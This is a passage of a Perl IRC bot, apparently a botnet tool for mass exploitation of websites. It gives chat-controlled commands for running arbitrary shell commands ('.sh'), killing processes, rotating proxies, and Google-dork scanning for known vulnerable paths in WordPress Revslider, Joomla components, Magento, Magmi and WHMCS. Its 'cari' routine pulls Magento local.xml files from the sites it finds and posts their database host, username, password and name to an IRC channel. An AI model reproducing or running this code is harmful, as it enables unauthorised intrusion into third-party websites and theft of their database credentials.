  404.         if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  405.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  406.                 $newchan = $1;
  407.                 $chanxxx = $newchan;
  408.                 &msg("$admin","9,1 xChan change to4 $chanxxx ");
  409.             }
  410.             }
  411.         }
  412.     } else {
  413.         if (&isAdmin($nick) && $msg eq "!matek") {
  414.             &shell("$path","kill -9 $$");
  415.         }
  416.         if (&isAdmin($nick) && $msg eq "!modarkabeh") {
  417.             &shell("$path","killall -KILL perl");
  418.         }
  419.         if (&isAdmin($nick) && $msg eq "!reset") {
  420.             sendraw("QUIT :Restarting...");
  421.         }
  422.         if (&isAdmin($nick) && $msg =~ /^!jo \#(.+)/) {
  423.             sendraw("JOIN #".$1);
  424.                 }
  425.                 if (&isAdmin($nick) && $msg eq "!part") {
  426.                     sendraw("PART $path");
  427.                 }
  428.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  429.                     sendraw("PART #".$1);
  430. }
  431. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  432.     &shell("$path","$1");
  433. }
  434.  
  435. if ($msg=~ /^!silent\s+(.*) -d/) {
  436.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  437.         $smod = $1;
  438.         if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  439.         elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  440.         &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
  441.     }
  442.     }
  443. }
  444. if ($msg=~ /^!Goox\s+(.*) -d/) {
  445.     $engmod = $1;
  446.                 if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
  447.  
  448.                 elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
  449.     &msg("$path","9,1[4!9]Goo Engine15 $gpsstat !!!!");
  450. }
  451. if ($msg=~ /^!engine\s+(.*) -d/) {
  452.     $engmod = $1;
  453.                 if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
  454.                 elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
  455.     &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!");
  456. }
  457. if (&isAdmin($nick) && $msg =~ /^!injector\s+(.*) -d/) {
  458.     $newhostinjector= $1;
  459.     $hostinjector = $newhostinjector;
  460.     &msg("$path","9,1[4!9]Injector 15change to4 $hostinjector ");
  461. }
  462.  
  463. if (&isAdmin($nick) && ($msg =~ /^!chprox1\s$number\s(.*)/ || $msg =~ /^!chproxs1\s(.*)/)) {
  464.     my $newprox1= $1;
  465.     $prox1 = $newprox1;
  466.     &msg("$path","9,1[4!9]Web Proxy 1 15change to4 $prox1 ");
  467. }
  468.  
  469. if (&isAdmin($nick) && ($msg =~ /^!chprox2\s$number\s(.*)/ || $msg =~ /^!chproxs2\s(.*)/)) {
  470.     my $newprox2= $1;
  471.     $prox2 = $newprox2;
  472.     &msg("$path","9,1[4!9]Web Proxy 2 15change to4 $prox2 ");
  473. }
  474.  
  475. if (&isAdmin($nick) && ($msg =~ /^!chprox3\s$number\s(.*)/ || $msg =~ /^!chproxs3\s(.*)/)) {
  476.     my $newprox3= $1;
  477.     $prox3 = $newprox3;
  478.     &msg("$path","9,1[4!9]Web Proxy 3 15change to4 $prox3 ");
  479. }
  480. if (&isAdmin($nick) && ($msg =~ /^!chprox4\s$number\s(.*)/ || $msg =~ /^!chproxs4\s(.*)/)) {
  481.     my $newprox4= $1;
  482.     $prox4 = $newprox4;
  483.     &msg("$path","9,1[4!9]Web Proxy 4 15change to4 $prox4 ");
  484. }
  485. if (&isAdmin($nick) && ($msg =~ /^!chprox5\s$number\s(.*)/ || $msg =~ /^!chproxs5\s(.*)/)) {
  486.     my $newprox5= $1;
  487.     $prox5 = $newprox5;
  488.     &msg("$path","9,1[4!9]Web Proxy 5 15change to4 $prox5 ");
  489. }
  490. if (&isAdmin($nick) && ($msg =~ /^!chprox6\s$number\s(.*)/ || $msg =~ /^!chproxs6\s(.*)/)) {
  491.     my $newprox6= $1;
  492.     $prox6 = $newprox6;
  493.     &msg("$path","9,1[4!9]Web Proxy 6 15change to4 $prox6 ");
  494. }
  495. if (&isAdmin($nick) && ($msg =~ /^!chprox7\s$number\s(.*)/ || $msg =~ /^!chproxs7\s(.*)/)) {
  496.     my $newprox7= $1;
  497.     $prox7 = $newprox7;
  498.     &msg("$path","9,1[4!9]Web Proxy 7 15change to4 $prox7 ");
  499. }
  500. if (&isAdmin($nick) && ($msg =~ /^!chprox8\s$number\s(.*)/ || $msg =~ /^!chproxs8\s(.*)/)) {
  501.     my $newprox8= $1;
  502.     $prox8 = $newprox8;
  503.     &msg("$path","9,1[4!9]Web Proxy 8 15change to4 $prox8 ");
  504. }
  505. if (&isAdmin($nick) && ($msg =~ /^!chprox9\s$number\s(.*)/ || $msg =~ /^!chproxs9\s(.*)/)) {
  506.     my $newprox9= $1;
  507.     $prox9 = $newprox9;
  508.     &msg("$path","9,1[4!9]Web Proxy 9 15change to4 $prox9 ");
  509. }
  510. if (&isAdmin($nick) && ($msg =~ /^!chprox10\s$number\s(.*)/ || $msg =~ /^!chproxs10\s(.*)/)) {
  511.     my $newprox10= $1;
  512.     $prox10 = $newprox10;
  513.     &msg("$path","9,1[4!9]Web Proxy 10 15change to4 $prox10 ");
  514. }
  515.  
  516. if (&isAdmin($nick) && ($msg =~ /^$proxycmd\s(.*)/ || $msg =~ /^!proxy\s(.*)/)) {
  517.     my $muter = $1;
  518.         if ($muter =~ /ON/) {$mlayu = "ON";my $mlayus = "ACTIVATED"; }
  519.         if ($muter =~ /OFF/) {$mlayu = "OFF";my $mlayus = "DEACTIVATED"; }
  520.     &msg("$path","9,1[4!9]Random Web Proxy was 15 ".$mlayus." (".$mlayu.") !!!!");
  521. }
  522.  
  523. if ($msg=~/^!proxys/){
  524. if ($mlayu eq "ON") {$mlayus = "ACTIVE";}
  525. if ($mlayu eq "OFF") {$mlayus = "DEACTIVE";}
  526. &msg("$path","9,1[4!9]Random Web Proxy is 15 $mlayus !!!!");
  527. }
  528.  
  529. ##################################################################### HELP COMMAND
  530. if ($msg=~ /^!help/) {
  531.     #my $helplogo = "5,1[14!5]10Sedang Puasa 14[5=14] ";sleep(2);
  532.     &msg("$path","9,1[4!9]Wordpress/Revslider 4<9=4>15 ".$wpcmd."");sleep(2);
  533.     &msg("$path","9,1[4!9]Magento Auto 4<9=4>15 ".$mgcmd2."");sleep(2);
  534.     &msg("$path","9,1[4!9]Magento xml 4<9=4>15 ".$mgcmd."");sleep(2);
  535.     &msg("$path","9,1[4!9]HD Player 4<9=4>15 ".$hdcmd."");sleep(2);
  536.     &msg("$path","9,1[4!9]jDOwnload 4<9=4>15 ".$jdcmd."");sleep(2);
  537.     &msg("$path","9,1[4!9]SQLi 4<9=4>15 ".$sqlcmd."");
  538.  
  539. }
  540. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  541.     #&msg("$nick","6Fake Process/PID : $fakeproc - $$");
  542. }
  543. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  544.     if (&isFound($thumbid,"GIF89aGiam")) {
  545.         &msg("$path","9,1[4!9]Injector 4<9=4>9 Sipp mas bro!!! ");
  546.     } else {
  547.         &msg("$path","9,1[4!9]Injector 4<9=4>15 gak fit!!! ");
  548.     }
  549. }
  550. if ($msg=~/^!pass/){
  551.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  552.                     my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";
  553.                     my $cekby1 = &get_content($juancok1."k4l0nk");
  554.                     if ($cekby1 =~ /k4l0nk/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Down!!!"; }
  555.                     my $cekby2 = &get_content($juancok2."k4l0nk");
  556.                     if ($cekby2 =~ /k4l0nk/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Down!!!"; }
  557.                     my $cekby3 = &get_content($juancok3."k4l0nk");
  558.                     if ($cekby3 =~ /k4l0nk/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Down!!!"; }
  559.                     my $cekby4 = &get_content($juancok4."k4l0nk");
  560.                     if ($cekby4 =~ /k4l0nk/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Down!!!"; }
  561.                     my $cekby5 = &get_content($juancok5."k4l0nk");
  562.                     if ($cekby5 =~ /k4l0nk/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Down!!!"; }
  563.                     my $cekby6 = &get_content($juancok6."k4l0nk");
  564.                     if ($cekby6 =~ /k4l0nk/i){ $bystats6 = "9Up!!!"; } else { $bystats6 = "4Down!!!"; }
  565.                     my $cekby7 = &get_content($juancok7."k4l0nk");
  566.                     if ($cekby7 =~ /k4l0nk/i){ $bystats7 = "9Up!!!"; } else { $bystats7 = "4Down!!!"; }
  567.                     my $cekby8 = &get_content($juancok8."k4l0nk");
  568.                     if ($cekby8 =~ /k4l0nk/i){ $bystats8 = "9Up!!!"; } else { $bystats8 = "4Down!!!"; }
  569.                     my $cekby9 = &get_content($juancok9."k4l0nk");
  570.                     if ($cekby9 =~ /k4l0nk/i){ $bystats9 = "9Up!!!"; } else { $bystats9 = "4Down!!!"; }
  571.                     my $cekby10 = &get_content($juancok10."k4l0nk");
  572.                     if ($cekby10 =~ /k4l0nk/i){ $bystats10 = "9Up!!!"; } else { $bystats10 = "4Down!!!"; }
  573.                     &msg("$path","9,1[4!9]Bypass 4<9=4>15 Goo1=$bystats1 15Goo2=$bystats2 15Goo3=$bystats3 15Goo4=$bystats4 15Goo5=$bystats5");
  574.                     &msg("$path","9,1[4!9]Bypass 4<9=4>15 Goo1=$bystats6 15Goo2=$bystats7 15Goo3=$bystats8 15Goo4=$bystats9 15Goo5=$bystats10");
  575.                 }}}
  576. if ($msg=~/^!random/){
  577.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  578.         my $ceked = "?____pgfa=http://www.google.com/search?q=facebook&cr=countryCA&num=100&start=0&sa=N";
  579.         my $cekby1 = &get_content($prox1.$ceked);
  580.     if ($cekby1 =~ /facebook.com/i){ $prostats1 = "9Up!!!"; } else { $prostats1 = "4Down!!!"; }
  581.     my $cekby2 = &get_content($prox2.$ceked);
  582.     if ($cekby2 =~ /facebook.com/i){ $prostats2 = "9Up!!!"; } else { $prostats2 = "4Down!!!"; }
  583.     my $cekby3 = &get_content($prox3.$ceked);
  584.     if ($cekby3 =~ /facebook.com/i){ $prostats3 = "9Up!!!"; } else { $prostats3 = "4Down!!!"; }
  585.     my $cekby4 = &get_content($prox4.$ceked);
  586.     if ($cekby4 =~ /facebook.com/i){ $prostats4 = "9Up!!!"; } else { $prostats4 = "4Down!!!"; }
  587.     my $cekby5 = &get_content($prox5.$ceked);
  588.     if ($cekby5 =~ /facebook.com/i){ $prostats5 = "9Up!!!"; } else { $prostats5 = "4Down!!!"; }
  589.     my $cekby6 = &get_content($prox6.$ceked);
  590.     if ($cekby6 =~ /facebook.com/i){ $prostats6 = "9Up!!!"; } else { $prostats6 = "4Down!!!"; }
  591.     my $cekby7 = &get_content($prox7.$ceked);
  592.     if ($cekby7 =~ /facebook.com/i){ $prostats7 = "9Up!!!"; } else { $prostats7 = "4Down!!!"; }
  593.     my $cekby8 = &get_content($prox8.$ceked);
  594.     if ($cekby8 =~ /facebook.com/i){ $prostats8 = "9Up!!!"; } else { $prostats8 = "4Down!!!"; }
  595.     my $cekby9 = &get_content($prox9.$ceked);
  596.     if ($cekby9 =~ /facebook.com/i){ $prostats9 = "9Up!!!"; } else { $prostats9 = "4Down!!!"; }
  597.     my $cekby10 = &get_content($prox10.$ceked);
  598.     if ($cekby10 =~ /facebook.com/i){ $prostats10 = "9Up!!!"; } else { $prostats10 = "4Down!!!"; }
  599.     &msg("$path","9,1[4!9]Random 4<9=4>15 Proxy 1 = ".$prostats1." 15Proxy 2 = ".$prostats2." 15Proxy 3 = ".$prostats3." 15Proxy 4 = ".$prostats4." 15Proxy 5 = ".$prostats5."");
  600.     &msg("$path","9,1[4!9]Random 4<9=4>15 Proxy 6 = ".$prostats6." 15Proxy 7 = ".$prostats7." 15Proxy 8 = ".$prostats8." 15Proxy 9 = ".$prostats9." 15Proxy 10 = ".$prostats10."");
  601.     }
  602.     }
  603. }
  604. ##################################################################### SCAN
  605. if ($msg =~ /!cari\s+(.*)/) {
  606.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  607.         my $find = $1;
  608.         &msg($path,"$carilogo9 Searching 15$find ");
  609.         &cari($path,$find);
  610.     } exit; }
  611. }
  612.  
  613.  
  614.  
  615. if ($msg =~ /^$timcmd\s+(.*)/) {#
  616.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  617.         my ($bug,$dork) = ("",$1);
  618.  
  619.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  620.         &msg("$path","9Dork 4<9=4>15 $dork ");
  621.         &msg("$path","9Search Engine 4<9=4>15 Loading ");
  622.         &se_start($path,$bug,$dork,$engine,1,$nick);
  623.     }
  624.     }
  625. }
  626.  
  627. if ($msg =~ /^$wpcmd\s+(.*)/) {
  628.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  629.         my ($bug,$dork) = ("/wp-admin/admin-ajax.php",$1);
  630.  
  631.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  632.         &msg("$path","9Dork 4<9=4>15 $dork ");
  633.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  634.         &se_start($path,$bug,$dork,$engine,3,$nick);
  635.     }
  636.  
  637.     }
  638. }
  639. if ($msg =~ /^$hdcmd\s+(.*)/) {
  640.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  641.         my ($bug,$dork) = ("/components/com_hdflvplayer/hdflvplayer/download.php",$1);
  642.  
  643.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  644.         &msg("$path","9Dork 4<9=4>15 $dork ");
  645.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  646.         &se_start($path,$bug,$dork,$engine,4,$nick);
  647.     }
  648.  
  649.     }
  650. }
  651. if ($msg =~ /^$jdcmd\s+(.*)/) {
  652.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  653.         my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
  654.  
  655.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  656.         &msg("$path","9Dork 4<9=4>15 $dork ");
  657.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  658.         &se_start($path,$bug,$dork,$engine,5,$nick);
  659.     }
  660.  
  661.     }
  662. }
  663.  
  664. if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
  665.     if (my $pid = fork) {
  666.             waitpid($pid, 0);
  667.         } else {
  668.                     if (fork) { exit; } else {
  669.           my ($bug,$dork) = ($1,$2);
  670.           &msg("$path","$sqllogo 9Dork :4 $dork");
  671.           &msg("$path","$sqllogo 13Bugz :4 $bug");
  672.           &msg("$path","$sqllogo 8Search Engine Loading ...");
  673.           &se_start($path,$bug,$dork,$engine,12,$nick);
  674.           }
  675.           exit;
  676.          }
  677.         }
  678.  
  679. if ($msg =~ /^$jcecmd\s+(.*)/) {
  680.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  681.         my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
  682.  
  683.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  684.         &msg("$path","9Dork 4<9=4>15 $dork ");
  685.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  686.         &se_start($path,$bug,$dork,$engine,6,$nick);
  687.     }
  688.  
  689.     }
  690. }
  691. if ($msg =~ /^$mgcmd\s+(.*)/) {
  692.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  693.         my ($bug,$dork) = ("/app/etc/local.xml",$1);
  694.  
  695.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  696.         &msg("$path","9Dork 4<9=4>15 $dork ");
  697.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  698.         &se_start($path,$bug,$dork,$engine,7,$nick);
  699.     }
  700.  
  701.     }
  702. }
  703. if ($msg =~ /^$whmcmd\s+(.*)/) {
  704.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  705.         my ($bug,$dork) = ("/cart.php?a=byroe&templatefile=",$1);
  706.  
  707.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  708.         &msg("$path","9Dork 4<9=4>15 $dork ");
  709.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  710.         &se_start($path,$bug,$dork,$engine,8,$nick);
  711.     }
  712.  
  713.     }
  714. }
  715. if ($msg =~ /^$mgcmd2\s+(.*)/) {
  716.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  717.         my ($bug,$dork) = ("/magmi/web/plugin_upload.php",$1);
  718.  
  719.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  720.         &msg("$path","9Dork 4<9=4>15 $dork ");
  721.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  722.         &se_start($path,$bug,$dork,$engine,9,$nick);
  723.     }
  724.         exit;
  725.     }
  726. }
  727.  
  728. if ($msg =~ /^$mgtes\s+(.*)/) {
  729.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  730.         my ($bug,$site) = ("/magmi/web/plugin_upload.php",$1);
  731.                 my $mesin = "Test";
  732.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  733.         &msg("$path","9Mencoba Exploit 4<9=4>15 $site ");
  734.         &msg("$path","9Mari bersama Mengucapkan4<9=4>15 Bismillah ");
  735.         &magmi_test($submitchan,$bug,$site,$mesin,$nick);
  736.     }
  737.         exit;
  738.     }
  739. }
  740.  
  741. if ($msg =~ /^$upcmd\s+(.*?)\s+(.*)/) {
  742.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  743.         my ($bug,$dork) = ($2,$1);
  744.  
  745.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  746.         &msg("$path","9Dork 4<9=4>15 $dork ");
  747.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  748.         &se_start($path,$bug,$dork,$engine,10,$nick);
  749.     }
  750.  
  751.     }
  752. }
  753. if ($msg =~ /^$zencmd\s+(.*)/) {
  754.     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  755.         my ($bug,$dork) = ("extras/curltest.php",$1);
  756.  
  757.         #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path ");
  758.         &msg("$path","9Dork 4<9=4>15 $dork ");
  759.         &msg("$path","9Tribute to 4<9=4>15 Nina Toscano ");
  760.         &se_start($path,$bug,$dork,$engine,11,$nick);
  761.     }
  762.  
  763.     }
  764. }
  765. }
  766. }
  767. for(my $c=0; $c<= $#lines; $c++) {
  768.     $line = $lines[$c];
  769.     $line = $line_temp.$line if ($line_temp);
  770.     $line_temp = '';
  771.     $line =~ s/\r$//;
  772.     unless ($c == $#lines) {
  773.  
  774.         parse("$line");
  775.     } else {
  776.         if ($#lines == 0) {
  777.             parse("$line");
  778.         } elsif ($lines[$c] =~ /\r$/) {
  779.             parse("$line");
  780.         } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  781.             parse("$line");
  782.         } else {
  783.             $line_temp = $line;
  784.         }
  785.     }
  786. }
  787. }
  788. }
  789. ##################################################################################
  790.  
  791. sub lobex() {
  792.     my $dork = $_[0];
  793.     my @targets;
  794.     for (my $st=0; $st<=1000 ; $st+=50){
  795.         my $engine = "http://www.google.com/search?q=".&key($dork)."&num=20&start=".$st;
  796.         my $browser = &search_engine_query($engine);
  797.         while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  798.             my $target = $1;
  799.         if ($target !~ /google|blogspot|facebook|javascript|twitter|wiki|google|forum|stackoverflow|php\.net/) {
  800.             my @sort = split(/\.php/,$target);
  801.             push (@targets,$sort[0]);
  802.         }
  803.     }
  804. }
  805. return @targets;
  806. }
  807.  
  808. sub cari() {
  809.     my $chan = $_[0];
  810.     my $dork = $_[1];
  811.     my $count = 0;
  812.     my @kotor = &Goo1($dork);
  813.     my @target = &clean(@kotor);
  814.     my $num = scalar(@target); &msg($chan,"$carilogo9 Total 4[15$num4]9 sites");
  815.     if ($num > 0) {
  816.         foreach my $site(@target) {
  817.             $count++;
  818.             if ($count == $num-1) {
  819.                 &msg("$chan","$carilogo9Finished 15for 9$dork ");
  820.             }
  821.             my $xpl  = "http://".$target."/app/etc/local.xml";
  822.             my $re   = getcontent($xpl);
  823.             if ( $re =~ m/<host>(.*)<\/host>/g) {
  824.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]server:4 $1");
  825.             }
  826.             if ( $re =~ m/<username>(.*)<\/username>/g) {
  827.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]user:4 $1");
  828.             }
  829.             if ( $re =~ m/<password>(.*)<\/password>/g) {
  830.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]pass:4 $1");
  831.             }       if ( $re =~ m/<dbname>(.*)<\/dbname>/g) {
  832.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]dbname:4 $1");
  833.             }
  834.             sleep(2);
  835.         }
  836.     }
  837. }
  838.  
  839. sub type() {
  840.     my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  841.     if ($type == 1){$type=&tim_exploit($chan,$bug,$dork,$engine,$nick);}
  842.     #elsif ($type == 2){$type=&tim_xploit($chan,$bug,$dork,$engine,$nick);}
  843.     elsif ($type == 3){$type=&wordpress_exploit($chan,$bug,$dork,$engine,$nick);}
  844.     elsif ($type == 4){$type=&hd_exploit($chan,$bug,$dork,$engine,$nick);}
  845.     elsif ($type == 5){$type=&jd_exploit($chan,$bug,$dork,$engine,$nick);}
  846.     #elsif ($type == 6){$type=&jce_exploit($chan,$bug,$dork,$engine,$nick);}
  847.     elsif ($type == 7){$type=&magento_exploit($chan,$bug,$dork,$engine,$nick);}
  848.     #elsif ($type == 8){$type=&whm_exploit($chan,$bug,$dork,$engine,$nick);}
  849.     elsif ($type == 9){$type=&magmi_exploit($chan,$bug,$dork,$engine,$nick);}
  850.     #elsif ($type == 10){$type=&up_exploit($chan,$bug,$dork,$engine,$nick);}
  851.     #elsif ($type == 11){$type=&zen_exploit($chan,$bug,$dork,$engine,$nick);}
  852.     elsif ($type == 12){$type=&sql_exploit($chan,$bug,$dork,$engine,$nick);}
  853.  
  854.  
  855.  
  856. }
  857. ##################################################################################
  858.  
  859. sub se_start() {
  860.     my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  861.     if ($engine =~ /Gooae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAE",$type,$nick); } exit; } }
  862.     if ($engine =~ /Gooar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAR",$type,$nick); } exit; } }
  863.     if ($engine =~ /Gooat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKAT",$type,$nick); } exit; } }
  864.     if ($engine =~ /Gooau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAU",$type,$nick); } exit; } }
  865.     if ($engine =~ /Goobr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBR",$type,$nick); } exit; } }
  866.     if ($engine =~ /Gooca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCA",$type,$nick); } exit; } }
  867.     if ($engine =~ /Goocl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCL",$type,$nick); } exit; } }
  868.     if ($engine =~ /Goocn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCN",$type,$nick); } exit; } }
  869.     if ($engine =~ /Goocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCoM",$type,$nick); } exit; } }
  870.     if ($engine =~ /Goocz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCZ",$type,$nick); } exit; } }
  871.     if ($engine =~ /Goode/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDE",$type,$nick); } exit; } }
  872.     if ($engine =~ /Goodk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDK",$type,$nick); } exit; } }
  873.     if ($engine =~ /Gooes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooES",$type,$nick); } exit; } }
  874.     if ($engine =~ /Gooeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEU",$type,$nick); } exit; } }
  875.     if ($engine =~ /Goofr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFR",$type,$nick); } exit; } }
  876.     if ($engine =~ /Goohu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHU",$type,$nick); } exit; } }
  877.     if ($engine =~ /Gooid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooID",$type,$nick); } exit; } }
  878.     if ($engine =~ /Gooil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIL",$type,$nick); } exit; } }
  879.     if ($engine =~ /Gooin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIN",$type,$nick); } exit; } }
  880.     if ($engine =~ /Gooinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooInfO",$type,$nick); } exit; } }
  881.     if ($engine =~ /Gooir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIR",$type,$nick); } exit; } }
  882.     if ($engine =~ /Gooit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIT",$type,$nick); } exit; } }
  883.     if ($engine =~ /Goojp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJP",$type,$nick); } exit; } }
  884.     if ($engine =~ /Gookr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKR",$type,$nick); } exit; } }
  885.     if ($engine =~ /Goomx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMX",$type,$nick); } exit; } }
  886.     if ($engine =~ /Goomy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMY",$type,$nick); } exit; } }
  887.     if ($engine =~ /Goonet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNeT",$type,$nick); } exit; } }
  888.     if ($engine =~ /Goonl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNL",$type,$nick); } exit; } }
  889.     if ($engine =~ /Gooorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooOrG",$type,$nick); } exit; } }
  890.     if ($engine =~ /Gooph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPH",$type,$nick); } exit; } }
  891.     if ($engine =~ /Goopl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPL",$type,$nick); } exit; } }
  892.     if ($engine =~ /Gooro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRO",$type,$nick); } exit; } }
